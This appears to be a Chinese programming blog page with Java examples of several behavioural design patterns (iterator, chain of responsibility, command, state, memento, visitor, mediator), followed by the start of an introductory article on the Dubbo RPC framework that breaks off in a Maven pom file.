举例(咖啡厅和中餐厅合并,他们两个餐厅的菜单一个是数组保存的,一个是 ArrayList 保存的。遍历方式不一样,使用迭代器聚合访问,只需要一种方式)

1 迭代器接口

1
2
3
4
5
6
public interface Iterator {

public boolean hasNext();
public Object next();

}

2 咖啡店菜单和咖啡店菜单遍历器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public class CakeHouseMenu {
private ArrayList<MenuItem> menuItems;


public CakeHouseMenu() {
menuItems = new ArrayList<MenuItem>();

addItem("KFC Cake Breakfast","boiled eggs&toast&cabbage",true,3.99f);
addItem("MDL Cake Breakfast","fried eggs&toast",false,3.59f);
addItem("Stawberry Cake","fresh stawberry",true,3.29f);
addItem("Regular Cake Breakfast","toast&sausage",true,2.59f);
}

private void addItem(String name, String description, boolean vegetable,
float price) {
MenuItem menuItem = new MenuItem(name, description, vegetable, price);
menuItems.add(menuItem);
}



public Iterator getIterator()
{
return new CakeHouseIterator() ;
}

class CakeHouseIterator implements Iterator
{
private int position=0;
public CakeHouseIterator()
{
position=0;
}

@Override
public boolean hasNext() {
// TODO Auto-generated method stub
if(position<menuItems.size())
{
return true;
}

return false;
}

@Override
public Object next() {
// TODO Auto-generated method stub
MenuItem menuItem =menuItems.get(position);
position++;
return menuItem;
}};
//鍏朵粬鍔熻兘浠g爜

}

3 中餐厅菜单和中餐厅菜单遍历器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public class DinerMenu {
private final static int Max_Items = 5;
private int numberOfItems = 0;
private MenuItem[] menuItems;

public DinerMenu() {
menuItems = new MenuItem[Max_Items];
addItem("vegetable Blt", "bacon&lettuce&tomato&cabbage", true, 3.58f);
addItem("Blt", "bacon&lettuce&tomato", false, 3.00f);
addItem("bean soup", "bean&potato salad", true, 3.28f);
addItem("hotdog", "onions&cheese&bread", false, 3.05f);

}

private void addItem(String name, String description, boolean vegetable,
float price) {
MenuItem menuItem = new MenuItem(name, description, vegetable, price);
if (numberOfItems >= Max_Items) {
System.err.println("sorry,menu is full!can not add another item");
} else {
menuItems[numberOfItems] = menuItem;
numberOfItems++;
}

}

public Iterator getIterator() {
return new DinerIterator();
}

class DinerIterator implements Iterator {
private int position;

public DinerIterator() {
position = 0;
}

@Override
public boolean hasNext() {
// TODO Auto-generated method stub
if (position < numberOfItems) {
return true;
}

return false;
}

@Override
public Object next() {
// TODO Auto-generated method stub
MenuItem menuItem = menuItems[position];
position++;
return menuItem;
}
};
}

4 女服务员

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class Waitress {
private ArrayList<Iterator> iterators = new ArrayList<Iterator>();

public Waitress() {

}

public void addIterator(Iterator iterator) {
iterators.add(iterator);

}

public void printMenu() {
Iterator iterator;
MenuItem menuItem;
for (int i = 0, len = iterators.size(); i < len; i++) {
iterator = iterators.get(i);

while (iterator.hasNext()) {
menuItem = (MenuItem) iterator.next();
System.out
.println(menuItem.getName() + "***" + menuItem.getPrice() + "***" + menuItem.getDescription());

}

}

}

public void printBreakfastMenu() {

}

public void printLunchMenu() {

}

public void printVegetableMenu() {

}
}

# 16 责任链模式

** 定义:** 如果有多个对象有机会处理请求,责任链可使请求的发送者和接受者解耦,请求沿着责任链传递,直到有一个对象处理了它为止。

** 主要解决:** 职责链上的处理者负责处理请求,客户只需要将请求发送到职责链上即可,无须关心请求的处理细节和请求的传递,所以职责链将请求的发送者和请求的处理者解耦了。

** 何时使用:** 在处理消息的时候以过滤很多道。

** 如何解决:** 拦截的类都实现统一接口。

** 关键代码:**Handler 里面聚合它自己,在 HandlerRequest 里判断是否合适,如果没达到条件则向下传递,向谁传递之前 set 进去。

# 16.1 模式的结构和代码示例

  1. 抽象处理者(Handler)角色:定义一个处理请求的接口,包含抽象处理方法和一个后继连接。

  2. 具体处理者(Concrete Handler)角色:实现抽象处理者的处理方法,判断能否处理本次请求,如果可以处理请求则处理,否则将该请求转给它的后继者。

  3. 客户类(Client)角色:创建处理链,并向链头的具体处理者对象提交请求,它不关心处理细节和请求的传递过程。

举例(购买请求决策,价格不同要由不同的级别决定:组长、部长、副部、总裁)。类图如下:

1 决策者抽象类,包含对请求处理的函数,同时还包含指定下一个决策者的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
public abstract class Approver {
Approver successor;
String Name;
public Approver(String Name)
{
this.Name=Name;
}
public abstract void ProcessRequest( PurchaseRequest request);
public void SetSuccessor(Approver successor) {
// TODO Auto-generated method stub
this.successor=successor;
}
}

2 客户端以及请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class PurchaseRequest {
private int Type = 0;
private int Number = 0;
private float Price = 0;
private int ID = 0;

public PurchaseRequest(int Type, int Number, float Price) {
this.Type = Type;
this.Number = Number;
this.Price = Price;
}

public int GetType() {
return Type;
}

public float GetSum() {
return Number * Price;
}

public int GetID() {
return (int) (Math.random() * 1000);
}
}
public class Client {

public Client() {

}

public PurchaseRequest sendRequst(int Type, int Number, float Price) {
return new PurchaseRequest(Type, Number, Price);
}

}

3 组长、部长。。。继承决策者抽象类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class GroupApprover extends Approver {

public GroupApprover(String Name) {
super(Name + " GroupLeader");
// TODO Auto-generated constructor stub

}

@Override
public void ProcessRequest(PurchaseRequest request) {
// TODO Auto-generated method stub

if (request.GetSum() < 5000) {
System.out.println("**This request " + request.GetID() + " will be handled by " + this.Name + " **");
} else {
successor.ProcessRequest(request);
}
}

}
public class DepartmentApprover extends Approver {

public DepartmentApprover(String Name) {
super(Name + " DepartmentLeader");

}

@Override
public void ProcessRequest(PurchaseRequest request) {
// TODO Auto-generated method stub

if ((5000 <= request.GetSum()) && (request.GetSum() < 10000)) {
System.out.println("**This request " + request.GetID()
+ " will be handled by " + this.Name + " **");
} else {
successor.ProcessRequest(request);
}

}

}

4 测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class MainTest {

public static void main(String[] args) {

Client mClient = new Client();
Approver GroupLeader = new GroupApprover("Tom");
Approver DepartmentLeader = new DepartmentApprover("Jerry");
Approver VicePresident = new VicePresidentApprover("Kate");
Approver President = new PresidentApprover("Bush");

GroupLeader.SetSuccessor(VicePresident);
DepartmentLeader.SetSuccessor(President);
VicePresident.SetSuccessor(DepartmentLeader);
President.SetSuccessor(GroupLeader);

GroupLeader.ProcessRequest(mClient.sendRequst(1, 10000, 40));

}

}

#

# 17 命令模式

** 定义:** 将一个请求封装为一个对象,使发出请求的责任和执行请求的责任分割开。这样两者之间通过命令对象进行沟通,这样方便将命令对象进行储存、传递、调用、增加与管理。

** 意图:** 将一个请求封装成一个对象,从而使您可以用不同的请求对客户进行参数化。

** 主要解决:** 在软件系统中,行为请求者与行为实现者通常是一种紧耦合的关系,但某些场合,比如需要对行为进行记录、撤销或重做、事务等处理时,这种无法抵御变化的紧耦合的设计就不太合适。

** 何时使用:** 在某些场合,比如要对行为进行 "记录、撤销 / 重做、事务" 等处理,这种无法抵御变化的紧耦合是不合适的。在这种情况下,如何将 "行为请求者" 与 "行为实现者" 解耦?将一组行为抽象为对象,可以实现二者之间的松耦合。

** 如何解决:** 通过调用者调用接受者执行命令,顺序:调用者→接受者→命令。

# 17.1 模式结构和代码示例

#

  1. 抽象命令类(Command)角色:声明执行命令的接口,拥有执行命令的抽象方法 execute ()。
  2. 具体命令角色(Concrete Command)角色:是抽象命令类的具体实现类,它拥有接收者对象,并通过调用接收者的功能来完成命令要执行的操作。
  3. 实现者 / 接收者(Receiver)角色:执行命令功能的相关操作,是具体命令对象业务的真正实现者。
  4. 调用者 / 请求者(Invoker)角色:是请求的发送者,它通常拥有很多的命令对象,并通过访问命令对象来执行相关请求,它不直接访问接收者。

代码举例(开灯和关灯),类图如下:

1 命令抽象类

1
2
3
4
5
6
public interface Command {

public void excute();
public void undo();

}

2 具体命令对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class TurnOffLight implements Command {

private Light light;

public TurnOffLight(Light light) {
this.light = light;
}

@Override
public void excute() {
// TODO Auto-generated method stub
light.Off();
}

@Override
public void undo() {
// TODO Auto-generated method stub
light.On();
}

}

3 实现者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Light {

String loc = "";

public Light(String loc) {
this.loc = loc;
}

public void On() {

System.out.println(loc + " On");
}

public void Off() {

System.out.println(loc + " Off");
}

}

4 请求者

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Contral{

public void CommandExcute(Command command) {
// TODO Auto-generated method stub
command.excute();
}

public void CommandUndo(Command command) {
// TODO Auto-generated method stub
command.undo();
}

}

#

# 18 状态模式

定义: 在状态模式中,我们创建表示各种状态的对象和一个行为随着状态对象改变而改变的 context 对象。

简单理解,一个拥有状态的 context 对象,在不同的状态下,其行为会发生改变。

** 意图:** 允许对象在内部状态发生改变时改变它的行为,对象看起来好像修改了它的类。

** 主要解决:** 对象的行为依赖于它的状态(属性),并且可以根据它的状态改变而改变它的相关行为。

** 何时使用:** 代码中包含大量与对象状态有关的条件语句。

** 如何解决:** 将各种具体的状态类抽象出来。

** 关键代码:** 通常命令模式的接口中只有一个方法。而状态模式的接口中有一个或者多个方法。而且,状态模式的实现类的方法,一般返回值,或者是改变实例变量的值。也就是说,状态模式一般和对象的状态有关。实现类的方法有不同的功能,覆盖接口中的方法。状态模式和命令模式一样,也可以用于消除 if…else 等条件选择语句。

优点: 1、封装了转换规则。 2、枚举可能的状态,在枚举状态之前需要确定状态种类。 3、将所有与某个状态有关的行为放到一个类中,并且可以方便地增加新的状态,只需要改变对象状态即可改变对象的行为。 4、允许状态转换逻辑与状态对象合成一体,而不是某一个巨大的条件语句块。 5、可以让多个环境对象共享一个状态对象,从而减少系统中对象的个数。

缺点: 1、状态模式的使用必然会增加系统类和对象的个数。 2、状态模式的结构与实现都较为复杂,如果使用不当将导致程序结构和代码的混乱。 3、状态模式对 "开闭原则" 的支持并不太好,对于可以切换状态的状态模式,增加新的状态类需要修改那些负责状态转换的源代码,否则无法切换到新增状态,而且修改某个状态类的行为也需修改对应类的源代码。

# 18.1 模式结构和代码示例

  • State 抽象状态角色

    接口或抽象类,负责对象状态定义,并且封装环境角色以实现状态切换。

  • ConcreteState 具体状态角色

    具体状态主要有两个职责:一是处理本状态下的事情,二是从本状态如何过渡到其他状态。

  • Context 环境角色

    定义客户端需要的接口,并且负责具体状态的切换。

举例(人物在地点 A 向地点 B 移动,在地点 B 向地点 A 移动)。类图如下:

1 state 接口

1
2
3
4
5
public interface State {
public void stop();
public void move();

}

2 状态实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class PlaceA implements State {

private Player context;

public PlaceA(Player context) {
this.context = context;
}

@Override
public void move() {
System.out.println("处于地点A,开始向B移动");
System.out.println("--------");
context.setDirection("AB");
context.setState(context.onMove);

}

@Override
public void stop() {
// TODO Auto-generated method stub
System.out.println("正处在地点A,不用停止移动");
System.out.println("--------");
}

}

3 context (player) 拥有状态的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class Player {

State placeA;
State placeB;
State onMove;
private State state;
private String direction;

public Player() {
direction = "AB";
placeA = new PlaceA(this);
placeB = new PlaceB(this);
onMove = new OnMove(this);
this.state = placeA;
}

public void move() {
System.out.println("指令:开始移动");
state.move();
}

public void stop() {
System.out.println("指令:停止移动");
state.stop();
}

public State getState() {
return state;
}

public void setState(State state) {
this.state = state;
}

public void setDirection(String direction) {
this.direction = direction;
}

public String getDirection() {
return direction;
}

}

#

# 19 备忘录模式

定义: 在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态,以便以后当需要时能将该对象恢复到原先保存的状态。该模式又叫快照模式。

备忘录模式是一种对象行为型模式,其主要优点如下。

  • 提供了一种可以恢复状态的机制。当用户需要时能够比较方便地将数据恢复到某个历史的状态。

  • 实现了内部状态的封装。除了创建它的发起人之外,其他对象都不能够访问这些状态信息。

  • 简化了发起人类。发起人不需要管理和保存其内部状态的各个备份,所有状态信息都保存在备忘录中,并由管理者进行管理,这符合单一职责原则。

其主要缺点是:资源消耗大。如果要保存的内部状态信息过多或者特别频繁,将会占用比较大的内存资源。

# 19.1 模式结构图和代码示例

  1. 发起人(Originator)角色:记录当前时刻的内部状态信息,提供创建备忘录和恢复备忘录数据的功能,实现其他业务功能,它可以访问备忘录里的所有信息。

  2. 备忘录(Memento)角色:负责存储发起人的内部状态,在需要的时候提供这些内部状态给发起人。

  3. 管理者(Caretaker)角色:对备忘录进行管理,提供保存与获取备忘录的功能,但其不能对备忘录的内容进行访问与修改。

举例(发起者通过备忘录存储信息和获取信息),类图如下:

1 备忘录接口

1
2
3
public interface MementoIF {

}

2 备忘录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Memento implements MementoIF{

private String state;

public Memento(String state) {
this.state = state;
}

public String getState(){
return state;
}


}

3 发起者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class Originator {

private String state;

public String getState() {
return state;
}

public void setState(String state) {
this.state = state;
}

public Memento saveToMemento() {
return new Memento(state);
}

public String getStateFromMemento(MementoIF memento) {
return ((Memento) memento).getState();
}

}

4 管理者

1
2
3
4
5
6
7
8
9
10
11
12
13
public class CareTaker {

private List<MementoIF> mementoList = new ArrayList<MementoIF>();

public void add(MementoIF memento) {
mementoList.add(memento);
}

public MementoIF get(int index) {
return mementoList.get(index);
}

}

# 20 访问者模式

** 定义:** 将作用于某种数据结构中的各元素的操作分离出来封装成独立的类,使其在不改变数据结构的前提下可以添加作用于这些元素的新的操作,为数据结构中的每个元素提供多种访问方式。它将对数据的操作与数据结构进行分离。

访问者(Visitor)模式是一种对象行为型模式,其主要优点如下。

  1. 扩展性好。能够在不修改对象结构中的元素的情况下,为对象结构中的元素添加新的功能。

  2. 复用性好。可以通过访问者来定义整个对象结构通用的功能,从而提高系统的复用程度。

  3. 灵活性好。访问者模式将数据结构与作用于结构上的操作解耦,使得操作集合可相对自由地演化而不影响系统的数据结构。

  4. 符合单一职责原则。访问者模式把相关的行为封装在一起,构成一个访问者,使每一个访问者的功能都比较单一。

访问者(Visitor)模式的主要缺点如下。

  1. 增加新的元素类很困难。在访问者模式中,每增加一个新的元素类,都要在每一个具体访问者类中增加相应的具体操作,这违背了 “开闭原则”。

  2. 破坏封装。访问者模式中具体元素对访问者公布细节,这破坏了对象的封装性。

  3. 违反了依赖倒置原则。访问者模式依赖了具体类,而没有依赖抽象类。

# 20.1 模式结构和代码示例

访问者模式包含以下主要角色。

  1. 抽象访问者(Visitor)角色:定义一个访问具体元素的接口,为每个具体元素类对应一个访问操作 visit () ,该操作中的参数类型标识了被访问的具体元素。

  2. 具体访问者(ConcreteVisitor)角色:实现抽象访问者角色中声明的各个访问操作,确定访问者访问一个元素时该做什么。

  3. 抽象元素(Element)角色:声明一个包含接受操作 accept () 的接口,被接受的访问者对象作为 accept () 方法的参数。

  4. 具体元素(ConcreteElement)角色:实现抽象元素角色提供的 accept () 操作,其方法体通常都是 visitor.visit (this) ,另外具体元素中可能还包含本身业务逻辑的相关操作。

  5. 对象结构(Object Structure)角色:是一个包含元素角色的容器,提供让访问者对象遍历容器中的所有元素的方法,通常由 List、Set、Map 等聚合类实现。

1 抽象访问者

1
2
3
4
public interface Visitor {

abstract public void Visit(Element element);
}

2 具体访问者

1
2
3
4
5
6
7
8
9
10
11
12
public class CompensationVisitor implements Visitor {

@Override
public void Visit(Element element) {
// TODO Auto-generated method stub
Employee employee = ((Employee) element);

System.out.println(
employee.getName() + "'s Compensation is " + (employee.getDegree() * employee.getVacationDays() * 10));
}

}

3 抽象元素

1
2
3
4
public interface Element {
abstract public void Accept(Visitor visitor);

}

4 具体元素

1
2
3
4
5
6
7
8
9
10
11
12
public class CompensationVisitor implements Visitor {

@Override
public void Visit(Element element) {
// TODO Auto-generated method stub
Employee employee = ((Employee) element);

System.out.println(
employee.getName() + "'s Compensation is " + (employee.getDegree() * employee.getVacationDays() * 10));
}

}

5 对象结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class ObjectStructure {
private HashMap<String, Employee> employees;

public ObjectStructure() {
employees = new HashMap();
}

public void Attach(Employee employee) {
employees.put(employee.getName(), employee);
}

public void Detach(Employee employee) {
employees.remove(employee);
}

public Employee getEmployee(String name) {
return employees.get(name);
}

public void Accept(Visitor visitor) {
for (Employee e : employees.values()) {
e.Accept(visitor);
}
}

}

#

# 21 中介者模式

** 定义:** 定义一个中介对象来封装一系列对象之间的交互,使原有对象之间的耦合松散,且可以独立地改变它们之间的交互。中介者模式又叫调停模式,它是迪米特法则的典型应用。

中介者模式是一种对象行为型模式,其主要优点如下。

  1. 降低了对象之间的耦合性,使得对象易于独立地被复用。

  2. 将对象间的一对多关联转变为一对一的关联,提高系统的灵活性,使得系统易于维护和扩展。

其主要缺点是:当同事类太多时,中介者的职责将很大,它会变得复杂而庞大,以至于系统难以维护。

# 21.1 模式结构和代码示例

  1. 抽象中介者(Mediator)角色:它是中介者的接口,提供了同事对象注册与转发同事对象信息的抽象方法。

  2. 具体中介者(ConcreteMediator)角色:实现中介者接口,定义一个 List 来管理同事对象,协调各个同事角色之间的交互关系,因此它依赖于同事角色。

  3. 抽象同事类(Colleague)角色:定义同事类的接口,保存中介者对象,提供同事对象交互的抽象方法,实现所有相互影响的同事类的公共功能。

  4. 具体同事类(Concrete Colleague)角色:是抽象同事类的实现者,当需要与其他同事对象交互时,由中介者对象负责后续的交互。

举例(通过中介卖方),类图如下:

1 抽象中介者

1
2
3
4
5
6
7
public interface Mediator {

void register(Colleague colleague); // 客户注册

void relay(String from, String to,String ad); // 转发

}

2 具体中介者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class ConcreteMediator implements Mediator {

private List<Colleague> colleagues = new ArrayList<Colleague>();

@Override
public void register(Colleague colleague) {
// TODO Auto-generated method stub
if (!colleagues.contains(colleague)) {
colleagues.add(colleague);
colleague.setMedium(this);
}
}

@Override
public void relay(String from, String to, String ad) {
// TODO Auto-generated method stub
for (Colleague cl : colleagues) {

String name = cl.getName();
if (name.equals(to)) {
cl.receive(from, ad);
}

}

}

}

3 抽象同事类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public abstract class Colleague {

protected Mediator mediator;
protected String name;

public Colleague(String name) {
this.name = name;
}

public void setMedium(Mediator mediator) {

this.mediator = mediator;

}

public String getName() {
return name;
}

public abstract void Send(String to, String ad);

public abstract void receive(String from, String ad);

}

4 具体同事类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class Buyer extends Colleague {

public Buyer(String name) {

super(name);

}

@Override
public void Send(String to, String ad) {
// TODO Auto-generated method stub
mediator.relay(name, to, ad);
}

@Override
public void receive(String from, String ad) {
// TODO Auto-generated method stub
System.out.println(name + "接收到来自" + from + "的消息:" + ad);
}

}

# 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

【Dubbo】Dubbo详解,用心看这一篇文章就够了【重点】

InterviewCoder

# 【Dubbo】Dubbo 详解,用心看这一篇文章就够了【重点】

# 1.1 Dubbo 概述

Dubbo 是阿里巴巴开源的基于 Java 的高性能 RPC (一种远程调用) 分布式服务框架,致力于提供高性能和透明化的 RPC 远程服务调用方案,以及 SOA 服务治理方案

每天为 2 千多个服务提供大于 30 亿次访问量支持,并被广泛应用于阿里巴巴集团的各成员站点以及别的公司的业务中。

简单的说, Dubbo 就是个服务框架,如果没有分布式的需求,其实是不需要用的,只有在分布式的时候,才有 Dubbo 这样的分布式服务框架的需求。

并且本质上是个远程服务调用的分布式框架(告别 Web Service 模式中的 WSdl ,以服务者与消费者的方式在 Dubbo 上注册)

其核心部分包含:

1、远程通讯:提供对多种基于长连接的 NIO 框架抽象封装,包括多种线程模型,序列化,以及 “请求 - 响应” 模式的信息交换方式。
2、集群容错:提供基于接口方法的透明远程过程调用,包括多协议支持,以及软负载均衡,失败容错,地址路由,动态配置等集群支持。
3、自动发现:基于注册中心目录服务,使服务消费方能动态的查找服务提供方,使地址透明,使服务提供方可以平滑增加或减少机器。

# 1.2 Dubbo 背景

Dubbo 开始于电商系统,因此在这里先从电商系统的演变讲起。

# 1.2.1 单一应用框架

在这里插入图片描述
当网站流量很小时,只需一个应用,将所有功能如下单支付等都部署在一起,以减少部署节点和成本。

缺点:单一的系统架构,使得在开发过程中,占用的资源越来越多,而且随着流量的增加越来越难以维护。

# 1.2.2 垂直应用框架

在这里插入图片描述
垂直应用架构解决了单一应用架构所面临的扩容问题,流量能够分散到各个子系统当中,且系统的体积可控,一定程度上降低了开发人员之间协同以及维护的成本,提升了开发效率。

缺点:但是在垂直架构中相同逻辑代码需要不断的复制,不能复用。

# 1.2.3 分布式应用架构 ( RPC )

在这里插入图片描述
当垂直应用越来越多,应用之间交互不可避免,将核心业务抽取出来,作为独立的服务,逐渐形成稳定的服务中心。

# 1.2.4 流动计算架构 ( SOA )

随着服务化的进一步发展,服务越来越多,服务之间的调用和依赖关系也越来越复杂,诞生了面向服务的架构体系 ( SOA ),也因此衍生出了一系列相应的技术,如对服务提供、服务调用、连接处理、通信协议、序列化方式、服务发现、服务路由、日志输出等行为进行封装的服务框架。

# 1.2.5 架构演变详解

从以上是电商系统的演变可以看出架构演变的过程:
在这里插入图片描述
1、单应用单服务器;
2、单应用拆分成多个应用并部署到多个服务器;
3、单应用拆分成多个应用并实现分布式部署;
4、流动计算框架(用于提高机器利用率的资源调度和治理中心)

# 1.2.5.1 单一应用架构

当网站流量很小时,只需一个应用,将所有功能都部署在一起,以减少部署节点和成本。 此时,用于简化增删改查工作量的 数据访问框架 ( ORM ) 是关键。

# 1.2.5.2 垂直应用架构

当访问量逐渐增大,单一应用增加机器带来的加速度越来越小,将应用拆成互不相干的几个应用,以提升效率。此时,用于加速前端页面开发的 Web 框架 ( MVC ) 是关键。

# 1.2.5.3 分布式服务架构

当垂直应用越来越多,应用之间交互不可避免,将核心业务抽取出来,作为独立的服务,逐渐形成稳定的服务中心,使前端应用能更快速的响应多变的市场需求。此时,用于提高业务复用及整合的 分布式服务框架 ( RPC ) 是关键。

# 1.2.5.4 流动计算架构

当服务越来越多,容量的评估,小服务资源的浪费等问题逐渐显现,此时需增加一个调度中心基于访问压力实时管理集群容量,提高集群利用率。此时,用于提高机器利用率的 资源调度和治理中心 ( SOA ) 是关键。

# 1.2.6 RPC 的简介

RPC(Remote Procedure Call Protocol) :远程过程调用

两台服务器 A、B ,分别部署不同的应用 a,b 。当 A 服务器想要调用 B 服务器上应用 b 提供的函数或方法的时候,由于不在一个内存空间,不能直接调用,需要通过网络来表达调用的语义传达调用的数据。
说白了,就是你在你的机器上写了一个程序,我这边是无法直接调用的,这个时候就出现了一个远程服务调用的概念。

RPC 是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。 RPC 协议假定某些传输协议的存在,如 TCPUDP ,为通信程序之间携带信息数据。在 OSI 网络通信模型中, RPC 跨越了传输层和应用层。 RPC 使得开发包括网络分布式多程序在内的应用程序更加容易。
RPC 采用客户机 / 服务器模式。请求程序就是一个客户机,而服务提供程序就是一个服务器。首先,客户机调用进程发送一个有进程参数的调用信息到服务进程,然后等待应答信息。在服务器端,进程保持睡眠状态直到调用信息到达为止。当一个调用信息到达,服务器获得进程参数,计算结果,发送答复信息,然后等待下一个调用信息,最后,客户端调用进程接收答复信息,获得进程结果,然后调用执行继续进行。

# 1.2.6.1 RPC 需要解决的问题

  • 通讯问题:主要是通过在客户端和服务器之间建立 TCP 连接,远程过程调用的所有交换的数据都在这个连接里传输。连接可以是按需连接,调用结束后就断掉,也可以是长连接,多个远程过程调用共享同一个连接。
  • 寻址问题:A 服务器上的应用怎么告诉底层的 RPC 框架,如何连接到 B 服务器(如主机或 IP 地址)以及特定的端口,方法的名称名称是什么,这样才能完成调用。比如基于 Web 服务协议栈的 RPC ,就要提供一个 endpoint URI ,或者是从 UDDI 服务上查找。如果是 RMI 调用的话,还需要一个 RMI Registry 来注册服务的地址。
  • 序列化 与 反序列化:当 A 服务器上的应用发起远程过程调用时,方法的参数需要通过底层的网络协议如 TCP 传递到 B 服务器,由于网络协议是基于二进制的,内存中的参数的值要序列化成二进制的形式,也就是序列化( Serialize )或编组( marshal ),通过寻址和传输将序列化的二进制发送给 B 服务器。
    同理, B 服务器接收参数要将参数反序列化。B 服务器应用调用自己的方法处理后返回的结果也要序列化给 A 服务器, A 服务器接收也要经过反序列化的过程。

# 1.3 Dubbo 作用

我们一起来看一下 Dubbo 的服务治理图:

在这里插入图片描述

# 1.3.1 为什么使用 Dubbo

因为是阿里开源项目,国内很多互联网公司都在用,已经经过很多线上考验。内部使用了 Netty、Zookeeper ,保证了高性能高可用性。

  • 使用 Dubbo 可以将核心业务抽取出来,作为独立的服务,逐渐形成稳定的服务中心,可用于提高业务复用灵活扩展,使前端应用能更快速的响应多变的市场需求。
  • 分布式架构可以承受更大规模的并发流量。

# 1.3.2 Dubbo 能做什么

1、透明化的远程方法调用,就像调用本地方法一样调用远程方法,只需简单配置,没有任何 API 侵入。
2、软负载均衡及容错机制,可在内网替代 F5 等硬件负载均衡器,降低成本,减少单点。
3.、服务自动注册与发现,不再需要写死服务提供方地址,注册中心基于接口名查询服务提供者的 IP 地址,并且能够平滑添加或删除服务提供者。

Dubbo 采用全 Spring 配置方式,透明化接入应用,对应用没有任何 API 侵入,只需用 Spring 加载 Dubbo 的配置即可Dubbo 基于 SpringSchema 扩展进行加载。

# 1.4 DubboSpring Cloud 区别

1、通信方式不同Dubbo 使用的是 RPC 通信,而 Spring Cloud 使用的是 HTTP RESTFul 方式。
2、组成不一样

  • dubbo 的服务注册中心为 Zookeerper ,服务监控中心为 dubbo-monitor ,无消息总线、服务跟踪、批量任务等组件;
  • Spring Cloud 的服务注册中心为 spring-cloud netflix enruka ,服务监控中心为 spring-boot admin ,有消息总线、数据流、服务跟踪、批量任务等组件;

# 1.5 Dubbo 技术架构

首先我们一起来看一下 Dubbo 官网提供的架构图:
在这里插入图片描述
节点角色说明

节点 角色说明
Provider 暴露服务的服务提供方
Consumer 调用远程服务的服务消费方
Registry 服务注册与发现的注册中心
Monitor 统计服务的调用次数和调用时间的监控中心
Container 服务运行容器

看了这几个概念后似乎发现其实 Dubbo 的架构也是很简单的 (其实现细节是复杂),为什么这么说呢,有没有发现,其实很像生产者 - 消费者模型。只是在这种模型上,加上了注册中心和监控中心,用于管理提供方提供的 url ,以及管理整个过程。

调用关系说明

1、服务容器负责启动,加载,运行服务提供者。
2、服务提供者在启动时,向注册中心注册自己提供的服务。
3、服务消费者在启动时,向注册中心订阅自己所需的服务。
4、注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。
5、服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。
6、服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。


那么,整个发布 - 订阅的过程就非常的简单了:

  • 启动容器,加载,运行服务提供者。
  • 服务提供者在启动时,在注册中心发布注册自己提供的服务。
  • 服务消费者在启动时,在注册中心订阅自己所需的服务。

如果考虑失败或变更的情况,就需要考虑下面的过程:

  • 注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。
  • 服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。
  • 服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。

# 1.6 Dubbo 入门案例

# 1.6.1 服务端

首先,我们先把服务端的接口写好,因为其实 dubbo 的作用简单来说就是给消费端提供接口。

接口定义

1
2
3
4
5
6
7
/**
* xml方式服务提供者接口
*/
public interface ProviderService {
String SayHello(String word);
}

这个接口非常简单,只是包含一个 SayHello 的方法。

接着,定义它的实现类

1
2
3
4
5
6
7
8
/**
* xml方式服务提供者实现类
*/
public class ProviderServiceImpl implements ProviderService{
public String SayHello(String word) {
return word;
}
}

这样我们就把我们的接口写好了,那么我们应该怎么将我们的服务暴露出去呢?

导入 maven 依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.ouyangsihai</groupId>
